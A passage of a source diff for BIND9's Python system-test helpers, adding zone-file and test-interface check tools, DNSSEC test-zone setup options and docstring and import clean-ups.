is raw. Version 1 and newer adds flags and, +when flag 0x02 is set, the source serial of the zone the file was +generated from. +""" + +import argparse +import struct + + +def version(path: str) -> int | None: + """ + Return the raw-format version of the zone file, or None if the + file is not in raw format. + """ + with open(path, "rb") as f: + header = f.read(8) + if len(header) < 8: + return None + fmt, ver = struct.unpack(">II", header) + if fmt != 2: + return None + return ver + + +def source_serial(path: str) -> int | None: + """ + Return the source serial recorded in the raw zone file, or None + if there is none (not raw, version 0, or the serial is not set). + """ + with open(path, "rb") as f: + header = f.read(20) + if len(header) < 20: + return None + fmt, ver, _dumptime, flags, serial = struct.unpack(">IIIII", header) + if fmt != 2 or ver < 1 or not flags & 2: + return None + return serial + + +def main() -> None: + parser = argparse.ArgumentParser(prog="rawzone", description=__doc__) + subparsers = parser.add_subparsers(dest="subcommand", required=True) + subparsers.add_parser("version").add_argument("path") + subparsers.add_parser("sourceserial").add_argument("path") + args = parser.parse_args() + if args.subcommand == "version": + result = version(args.path) + print("not raw" if result is None else result) + else: + result = source_serial(args.path) + print("UNSET" if result is None else result) + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/tools/testsock.py bind9-9.20.30/bin/tests/system/isctest/tools/testsock.py --- bind9-9.20.29/bin/tests/system/isctest/tools/testsock.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tools/testsock.py 2026-10-12 13:12:08.131894010 +0000 @@ -0,0 +1,106 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Check that the test network interfaces are up. + +Try to bind() a UDP socket on each of the given addresses (IPv4 or IPv6). + +When no address is specified, check the 10.53.0.* test addresses. +""" + +from collections.abc import Iterable +from pathlib import Path + +import argparse +import re +import socket +import sys + +import dns.inet + +# ifconfig.sh.in sets the test interfaces up; its max= setting is the +# authoritative count of the 10.53.0.* addresses. +IFCONFIG_SCRIPT = Path(__file__).resolve().parents[2] / "ifconfig.sh.in" + + +def check_addr(address: str, port: int = 0) -> None: + """ + Try to bind a UDP socket to the given address and port; raise + OSError on failure and ValueError for a malformed address. + """ + try: + family = dns.inet.af_for_address(address) + except ValueError: + raise ValueError(f"{address}: not an IPv4 or IPv6 address") from None + with socket.socket(family, socket.SOCK_DGRAM) as sock: + try: + sock.bind((address, port)) + except OSError as exc: + raise OSError( + exc.errno, f"bind({address}, {port}): {exc.strerror}" + ) from exc + + +def interface_ids() -> range: + """ + Return the range of configured test interface ids, read from the + max= setting in ifconfig.sh.in. + """ + matches = re.findall( + r"^max=(\d+)\s*$", + IFCONFIG_SCRIPT.read_text(encoding="utf-8"), + flags=re.MULTILINE, + ) + if not matches: + raise RuntimeError(f"could not find max IP address in {IFCONFIG_SCRIPT}") + return range(1, int(matches[-1]) + 1) + + +def check_ipv4_interfaces(port: int = 0, server_id: int | None = None) -> None: + """ + Check that the 10.53.0.* test interfaces (or just 10.53.0.) + are up and the given port can be bound on them; raise OSError on + failure. + """ + ids: Iterable[int] + if server_id is not None: + ids = [server_id] + else: + ids = interface_ids() + for interface_id in ids: + check_addr(f"10.53.0.{interface_id}", port) + + +def main() -> None: + parser = argparse.ArgumentParser(prog="testsock", description=__doc__) + parser.add_argument( + "-p", "--port", type=int, default=0, help="UDP port to bind (default: any)" + ) + parser.add_argument( + "-i", "--id", type=int, help="check only the 10.53.0. interface" + ) + parser.add_argument( + "address", nargs="*", help="addresses to check instead of 10.53.0.*" + ) + args = parser.parse_args() + try: + if args.address: + for address in args.address: + check_addr(address, args.port) + else: + check_ipv4_interfaces(args.port, args.id) + except (OSError, ValueError) as exc: + sys.exit(f"testsock: {exc}") + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/transfer.py bind9-9.20.30/bin/tests/system/isctest/transfer.py --- bind9-9.20.29/bin/tests/system/isctest/transfer.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/transfer.py 2026-10-12 13:12:08.131894010 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -17,7 +17,8 @@ def transfer_message( zone: str, source_ns: str | None, msg: str | Pattern, port: int | None = None ) -> Pattern: - """Return the expected log message for an incoming zone transfer. + """ + Return the expected log message for an incoming zone transfer. Mirrors the format produced by xfrin_log() in lib/dns/xfrin.c: diff -Nru bind9-9.20.29/bin/tests/system/isctest/util.py bind9-9.20.30/bin/tests/system/isctest/util.py --- bind9-9.20.29/bin/tests/system/isctest/util.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/util.py 2026-10-12 13:12:08.131894010 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -17,7 +17,9 @@ def zone_contains( zone: dns.zone.Zone, rrset: dns.rrset.RRset, compare_ttl=False ) -> bool: - """Check if a zone contains RRset""" + """ + Check if a zone contains RRset + """ def compare_rrs(rr1, rrset): rr2 = next((other_rr for other_rr in rrset if rr1 == other_rr), None) diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/__init__.py bind9-9.20.30/bin/tests/system/isctest/vars/__init__.py --- bind9-9.20.29/bin/tests/system/isctest/vars/__init__.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/__init__.py 2026-10-12 13:12:08.132894032 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -29,7 +29,9 @@ def init_vars(): - """Initializes the environment variables.""" + """ + Initializes the environment variables. + """ features.init_features() algorithms.init_crypto_supported() algorithms.set_algorithm_set(os.getenv("ALGORITHM_SET")) diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/algorithms.py bind9-9.20.30/bin/tests/system/isctest/vars/algorithms.py --- bind9-9.20.29/bin/tests/system/isctest/vars/algorithms.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/algorithms.py 2026-10-12 13:12:08.132894032 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -41,17 +41,20 @@ "ALGORITHM_SET": "none", "DEFAULT_ALGORITHM": "", "DEFAULT_ALGORITHM_NUMBER": "", + "DEFAULT_ALGORITHM_DST_NUMBER": "", "DEFAULT_BITS": "", # Alternative algorithm for test cases that require more than one algorithm # (for example algorithm rollover). Must be different from # DEFAULT_ALGORITHM. "ALTERNATIVE_ALGORITHM": "", "ALTERNATIVE_ALGORITHM_NUMBER": "", + "ALTERNATIVE_ALGORITHM_DST_NUMBER": "", "ALTERNATIVE_BITS": "", # Algorithm that is used for tests against the "disable-algorithms" # configuration option. Must be different from above algorithms. "DISABLED_ALGORITHM": "", "DISABLED_ALGORITHM_NUMBER": "", + "DISABLED_ALGORITHM_DST_NUMBER": "", "DISABLED_BITS": "", # Default HMAC algorithm. Must match the rndc configuration in # bin/tests/system/_common (rndc.conf, rndc.key) @@ -63,7 +66,9 @@ class AlgorithmSet(NamedTuple): - """Collection of DEFAULT, ALTERNATIVE and DISABLED algorithms""" + """ + Collection of DEFAULT, ALTERNATIVE and DISABLED algorithms + """ default: Algorithm | list[Algorithm] """DEFAULT is the algorithm for testing.""" @@ -101,7 +106,9 @@ def is_crypto_supported(alg: Algorithm) -> bool: - """Test whether a given algorithm is supported on the current platform.""" + """ + Test whether a given algorithm is supported on the current platform. + """ assert alg in ALL_ALGORITHMS, f"unknown algorithm: {alg}" with tempfile.TemporaryDirectory() as tmpdir: proc = subprocess.run( @@ -134,13 +141,17 @@ "ECDSAP384SHA384_SUPPORTED": "0", "ED25519_SUPPORTED": "0", "ED448_SUPPORTED": "0", + "RSASHA256OID_SUPPORTED": "0", + "RSASHA512OID_SUPPORTED": "0", } SUPPORTED_ALGORITHMS: list[Algorithm] = [] def init_crypto_supported(): - """Initialize the environment variables indicating cryptography support.""" + """ + Initialize the environment variables indicating cryptography support. + """ for alg in ALL_ALGORITHMS: supported = is_crypto_supported(alg) if supported: @@ -152,7 +163,9 @@ def _filter_supported(algs: AlgorithmSet) -> AlgorithmSet: - """Select supported algorithms from the set.""" + """ + Select supported algorithms from the set. + """ filtered = {} for alg_type in algs._fields: candidates = getattr(algs, alg_type) @@ -170,7 +183,8 @@ def _select_random(algs: AlgorithmSet, stable_period=STABLE_PERIOD) -> AlgorithmSet: - """Select random DEFAULT, ALTERNATIVE and DISABLED algorithms from the set. + """ + Select random DEFAULT, ALTERNATIVE and DISABLED algorithms from the set. The algorithm selection is deterministic for a given time period and platform. This should make potential issues more reproducible. @@ -227,7 +241,9 @@ def _algorithms_env(algs: AlgorithmSet, name: str) -> dict[str, str]: - """Return environment variables with selected algorithms as a dict.""" + """ + Return environment variables with selected algorithms as a dict. + """ algs_env = { "ALGORITHM_SET": name, } @@ -235,6 +251,7 @@ def set_alg_env(alg: Algorithm, prefix): algs_env[f"{prefix}_ALGORITHM"] = alg.name algs_env[f"{prefix}_ALGORITHM_NUMBER"] = str(alg.number) + algs_env[f"{prefix}_ALGORITHM_DST_NUMBER"] = str(alg.dst) algs_env[f"{prefix}_BITS"] = str(alg.bits) assert isinstance(algs.default, Algorithm) diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/all.py bind9-9.20.30/bin/tests/system/isctest/vars/all.py --- bind9-9.20.29/bin/tests/system/isctest/vars/all.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/all.py 2026-10-12 13:12:08.132894032 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -21,10 +21,12 @@ class VarLookup(ChainMap): - """A dictionary-like structure to coalesce the variables from different + """ + A dictionary-like structure to coalesce the variables from different modules without making a copy (which would prevent updating these values from inside the modules). Values which are None are treated as unset when - iterating.""" + iterating. + """ def __init__(self, *maps): keys = set() diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/autoconf.py bind9-9.20.30/bin/tests/system/isctest/vars/autoconf.py --- bind9-9.20.29/bin/tests/system/isctest/vars/autoconf.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/autoconf.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/basic.py bind9-9.20.30/bin/tests/system/isctest/vars/basic.py --- bind9-9.20.29/bin/tests/system/isctest/vars/basic.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/basic.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -47,7 +47,6 @@ "BIGKEY": f"{AC_VARS['TOP_BUILDDIR']}/bin/tests/system/rsabigexponent/bigkey", "GENCHECK": f"{AC_VARS['TOP_BUILDDIR']}/bin/tests/system/rndc/gencheck", "MAKEJOURNAL": f"{AC_VARS['TOP_BUILDDIR']}/bin/tests/system/makejournal", - "PIPEQUERIES": f"{AC_VARS['TOP_BUILDDIR']}/bin/tests/system/pipelined/pipequeries", "TMPDIR": os.getenv("TMPDIR", "/tmp"), "KRB5_CONFIG": "/dev/null", # we don't want a KRB5_CONFIG setting breaking the tests "KRB5_KTNAME": "dns.keytab", # use local keytab instead of default /etc/krb5.keytab diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/dirs.py bind9-9.20.30/bin/tests/system/isctest/vars/dirs.py --- bind9-9.20.29/bin/tests/system/isctest/vars/dirs.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/dirs.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/features.py bind9-9.20.30/bin/tests/system/isctest/vars/features.py --- bind9-9.20.29/bin/tests/system/isctest/vars/features.py 2026-09-11 19:41:01.231324529 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/features.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -53,7 +53,9 @@ def init_features(): - """Initialize the environment variables indicating feature support.""" + """ + Initialize the environment variables indicating feature support. + """ for name, arg in FEATURES.items(): supported = feature_test(arg) envvar = f"FEATURE_{name}" diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/openssl.py bind9-9.20.30/bin/tests/system/isctest/vars/openssl.py --- bind9-9.20.29/bin/tests/system/isctest/vars/openssl.py 2026-09-11 19:41:01.232324553 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/openssl.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/vars/ports.py bind9-9.20.30/bin/tests/system/isctest/vars/ports.py --- bind9-9.20.29/bin/tests/system/isctest/vars/ports.py 2026-09-11 19:41:01.232324553 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/vars/ports.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/zone.py bind9-9.20.30/bin/tests/system/isctest/zone.py --- bind9-9.20.29/bin/tests/system/isctest/zone.py 2026-09-11 19:41:01.232324553 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/zone.py 2026-10-12 13:12:08.133894053 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -221,7 +221,7 @@ Zone.copy_dssets enforces this. """ assert self.zone is not None, "write_dsset requires a zone-attached key" - src = Path(self.zone.ns.name) / f"dsset-{self.zone.name}." + src = self.zone.directory / f"dsset-{self.zone.name}." dst = Path(target_dir) / src.name if src.resolve() == dst.resolve(): debug(f"{self.zone.name}: dsset already in {target_dir}") @@ -238,19 +238,19 @@ """ Generate a DNSSEC key via dnssec-keygen for zone and return it. - Runs dnssec-keygen in zone.ns.name/keys/, stores the key there, and + Runs dnssec-keygen in zone.directory/keys/, stores the key there, and returns the resulting FileZoneKey. Pass params="-f KSK" to generate a Key Signing Key; omit it (or pass "") for a Zone Signing Key. """ debug(f"{zone.name}: generating key using dnssec-keygen") - keydir = Path(zone.ns.name) / KEYDIR + keydir = zone.directory / KEYDIR keydir.mkdir(exist_ok=True) if alg is None: alg = Algorithm.default() keygen = EnvCmd( "KEYGEN", f"-q -a {alg.number} -b {alg.bits} -K {KEYDIR} -L {DNSKEY_TTL}" ) - key_name = keygen(f"{params} {zone.name}", cwd=zone.ns.name).out.strip() + key_name = keygen(f"{params} {zone.name}", cwd=zone.directory).out.strip() return FileZoneKey(key_name, keydir=keydir, zone=zone) @@ -317,7 +317,9 @@ f.write(text) def write_private_key_pem(self, path: Path | str) -> None: - """Write the private key to path in PKCS8 PEM format (no encryption).""" + """ + Write the private key to path in PKCS8 PEM format (no encryption). + """ Path(path).write_bytes( self.private_key.private_bytes( encoding=serialization.Encoding.PEM, @@ -399,7 +401,7 @@ def __init__( self, name: str | dns.name.Name, - ns: Nameserver, + ns: Nameserver | None = None, signed: bool = False, subdir: str | None = "zones", filepath_unsigned: Path | str | None = None, @@ -431,18 +433,45 @@ @property def filepath(self) -> Path: - """Actual zone file — filepath_signed if signed, filepath_unsigned otherwise.""" + """ + Actual zone file — filepath_signed if signed, filepath_unsigned otherwise. + """ return self.filepath_signed if self.signed else self.filepath_unsigned + @property + def directory(self) -> Path: + """ + Directory the zone's files are rooted in, relative to the test directory. + """ + return Path(self.ns.name) if self.ns else Path(".") + + @property + def path_unsigned(self) -> Path: + """ + Path of the unsigned zone file, relative to the test directory. + """ + return self.directory / self.filepath_unsigned + + @property + def path_signed(self) -> Path: + """ + Path of the signed zone file, relative to the test directory. + """ + return self.directory / self.filepath_signed + def add_keys(self, ksk: bool = True, zsk: bool = True) -> None: - """Generate KSK and/or ZSK via dnssec-keygen and append to self.keys.""" + """ + Generate KSK and/or ZSK via dnssec-keygen and append to self.keys. + """ if ksk: self.keys.append(FileZoneKey.generate(self, "-f KSK")) if zsk: self.keys.append(FileZoneKey.generate(self)) def copy_dssets(self) -> None: - """Write dsset-* files for each signed delegation into self.ns dir.""" + """ + Write dsset-* files for each signed delegation into self.directory. + """ for zone in self.delegations: ksks = [k for k in zone.keys if k.is_ksk()] has_file = any(isinstance(k, FileZoneKey) for k in ksks) @@ -455,15 +484,17 @@ ) if ksks: for key in ksks: - key.write_dsset(Path(self.ns.name)) + key.write_dsset(self.directory) else: debug(f"{zone.name}: delegation is insecure (no KSK)") def render(self, template: str | None = None) -> None: - """Render the unsigned zone file from a jinja2 template.""" + """ + Render the unsigned zone file from a jinja2 template. + """ debug(f"{self.name}: rendering zone file") templates = TemplateEngine(".") - output = Path(self.ns.name) / self.filepath_unsigned + output = self.path_unsigned output.parent.mkdir(exist_ok=True) if template is None: @@ -498,29 +529,45 @@ signer( f"-P -x -O full -o {self.name}" f" -f {self.filepath_signed} {self.filepath_unsigned}", - cwd=self.ns.name, + cwd=self.directory, ) - def configure(self, template: str | None = None, sign_params: str = "") -> None: + def configure( + self, + template: str | None = None, + sign_params: str = "", + csk: bool = False, + ) -> None: """ Perform full zone setup: copy DS sets, generate keys, render, sign. + With csk=True, a single SEP-flagged key is generated instead of the + KSK+ZSK pair and the zone is signed with dnssec-signzone -z, making + that key a CSK signing everything. + This is the standard single-call entrypoint and may be called only once per Zone. Use the individual step methods directly only when a test needs finer-grained control, and do not mix them with configure() on the same Zone (see the class docstring). """ assert not self._configured, f"{self.name}: configure() already called" + assert ( + self.signed or not csk + ), f"{self.name}: refusing to generate a CSK for an unsigned zone" self._configured = True self.copy_dssets() if self.signed: - self.add_keys() + self.add_keys(ksk=True, zsk=not csk) self.render(template) if self.signed: + if csk: + sign_params = f"-z {sign_params}".strip() self.sign(sign_params) def trust_anchors(self, ta_type: str = "static-ds") -> list[TrustAnchor]: - """Return a trust-anchor stanza for every KSK in zone.keys.""" + """ + Return a trust-anchor stanza for every KSK in zone.keys. + """ ksks = [k for k in self.keys if k.is_ksk()] assert ksks, f"{self.name}: no KSK in zone.keys" return [k.into_ta(ta_type) for k in ksks] diff -Nru bind9-9.20.29/bin/tests/system/ixfr/ans2/ans.py bind9-9.20.30/bin/tests/system/ixfr/ans2/ans.py --- bind9-9.20.29/bin/tests/system/ixfr/ans2/ans.py 2026-09-11 19:41:01.232324553 +0000 +++ bind9-9.20.30/bin/tests/system/ixfr/ans2/ans.py 2026-10-12 13:12:08.133894053 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator, Collection @@ -21,13 +19,14 @@ import dns.rrset from isctest.asyncserver import ( - AxfrHandler, ControllableAsyncDnsServer, - DnsResponseSend, QueryContext, ResponseHandler, - SwitchControlCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import SwitchControlCommand +from isctest.asyncserver.handlers import AxfrHandler +from isctest.asyncserver.matchers import Qtype def rrset(owner: str, rdtype: dns.rdatatype.RdataType, rdata: str) -> dns.rrset.RRset: @@ -76,8 +75,7 @@ def __init__(self, serial: int): self._serial = serial - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.SOA + matcher = Qtype(dns.rdatatype.SOA) async def get_responses( self, qctx: QueryContext @@ -96,8 +94,7 @@ """ raise NotImplementedError - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.IXFR + matcher = Qtype(dns.rdatatype.IXFR) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/ixfr/tests_sh_ixfr.py bind9-9.20.30/bin/tests/system/ixfr/tests_sh_ixfr.py --- bind9-9.20.29/bin/tests/system/ixfr/tests_sh_ixfr.py 2026-09-11 19:41:01.233324577 +0000 +++ bind9-9.20.30/bin/tests/system/ixfr/tests_sh_ixfr.py 2026-10-12 13:12:08.134894074 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -15,7 +15,6 @@ [ "dig.out*", "stats.*", - "ans*/ans.run", "ns*/*.jnl", "ns1/named.run.prev*", "ns1/myftp.db", diff -Nru bind9-9.20.29/bin/tests/system/ixfr_nonminimal/ans2/ans.py bind9-9.20.30/bin/tests/system/ixfr_nonminimal/ans2/ans.py --- bind9-9.20.29/bin/tests/system/ixfr_nonminimal/ans2/ans.py 2026-09-11 19:41:01.233324577 +0000 +++ bind9-9.20.30/bin/tests/system/ixfr_nonminimal/ans2/ans.py 2026-10-12 13:12:08.135894096 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator, Collection, Iterable @@ -22,11 +20,12 @@ from isctest.asyncserver import ( ControllableAsyncDnsServer, - DnsResponseSend, QueryContext, ResponseHandler, - SwitchControlCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import SwitchControlCommand +from isctest.asyncserver.matchers import Qtype def rrset(owner: str, rdtype: dns.rdatatype.RdataType, rdata: str) -> dns.rrset.RRset: @@ -75,8 +74,7 @@ def __init__(self, serial: int): self._serial = serial - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.SOA + matcher = Qtype(dns.rdatatype.SOA) async def get_responses( self, qctx: QueryContext @@ -95,8 +93,7 @@ """ raise NotImplementedError - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.AXFR + matcher = Qtype(dns.rdatatype.AXFR) async def get_responses( self, qctx: QueryContext @@ -118,8 +115,7 @@ """ raise NotImplementedError - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.IXFR + matcher = Qtype(dns.rdatatype.IXFR) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/ixfr_nonminimal/ans4/ans.py bind9-9.20.30/bin/tests/system/ixfr_nonminimal/ans4/ans.py --- bind9-9.20.29/bin/tests/system/ixfr_nonminimal/ans4/ans.py 2026-09-11 19:41:01.233324577 +0000 +++ bind9-9.20.30/bin/tests/system/ixfr_nonminimal/ans4/ans.py 2026-10-12 13:12:08.135894096 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator, Collection, Iterable @@ -22,11 +20,12 @@ from isctest.asyncserver import ( ControllableAsyncDnsServer, - DnsResponseSend, QueryContext, ResponseHandler, - SwitchControlCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import SwitchControlCommand +from isctest.asyncserver.matchers import Qtype def rrset(owner: str, rdtype: dns.rdatatype.RdataType, rdata: str) -> dns.rrset.RRset: @@ -75,8 +74,7 @@ def __init__(self, serial: int): self._serial = serial - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.SOA + matcher = Qtype(dns.rdatatype.SOA) async def get_responses( self, qctx: QueryContext @@ -95,8 +93,7 @@ """ raise NotImplementedError - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.AXFR + matcher = Qtype(dns.rdatatype.AXFR) async def get_responses( self, qctx: QueryContext @@ -118,8 +115,7 @@ """ raise NotImplementedError - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.IXFR + matcher = Qtype(dns.rdatatype.IXFR) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/ixfr_nonminimal/tests_sh_ixfr_nonminimal.py bind9-9.20.30/bin/tests/system/ixfr_nonminimal/tests_sh_ixfr_nonminimal.py --- bind9-9.20.29/bin/tests/system/ixfr_nonminimal/tests_sh_ixfr_nonminimal.py 2026-09-11 19:41:01.234324601 +0000 +++ bind9-9.20.30/bin/tests/system/ixfr_nonminimal/tests_sh_ixfr_nonminimal.py 2026-10-12 13:12:08.135894096 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at 